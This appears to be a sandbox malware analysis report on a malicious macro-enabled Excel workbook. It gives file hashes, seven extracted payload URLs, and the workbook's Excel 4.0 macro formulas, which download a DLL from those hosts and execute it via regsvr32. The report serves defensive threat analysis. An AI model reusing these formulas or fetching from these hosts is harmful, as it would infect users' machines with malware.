Behavioral task
behavioral1
Sample
b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511.xlsm
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511.xlsm
Resource
win10v2004-20240226-en
General
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Target
b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511
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Size
32KB
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MD5
d30f2b217f3ae3e8ac19c81129e7de3b
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SHA1
a7b076a6b84be14691e3071a219c7cbfce94adb0
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SHA256
b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511
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SHA512
8aaa87457c7c8b1c0087eb5abccd981238c386a34f76791b4e2908fa13b825a801c4ba6b87000a38912c50ef8d3b74ef0d341a673006f37b0764a3e39ecee4fb
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SSDEEP
384:wjzZPFhNjqEBOA7iEibbwBLg0SCdiVXUKgUrNU/qWhZOdBNPJM+kqr9eCgh0k5lY:wjpFhNNlizXT28dFfPdkqstJmE6/
Malware Config
Extracted
https://casache.com/web/n3jxwXXwa/
https://www.blessingsource.com/blessingsource.com/rFQ0Ip6lQXXK/
http://ccalaire.com/wp-admin/d1pGRa0X/
http://cdimprintpr.com/brochure2/A9NmYDndZ/
http://careerplan.host20.uk/images/Ls/
http://ausnz.net/2010wc/odSi5tQKkCIXEWl9/
https://azsiacenter.com/js/sOhmiosLJOgwaP6i5nln/
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formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://casache.com/web/n3jxwXXwa/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.blessingsource.com/blessingsource.com/rFQ0Ip6lQXXK/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ccalaire.com/wp-admin/d1pGRa0X/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cdimprintpr.com/brochure2/A9NmYDndZ/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://careerplan.host20.uk/images/Ls/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ausnz.net/2010wc/odSi5tQKkCIXEWl9/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://azsiacenter.com/js/sOhmiosLJOgwaP6i5nln/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
Files
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b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511.xlsm office2007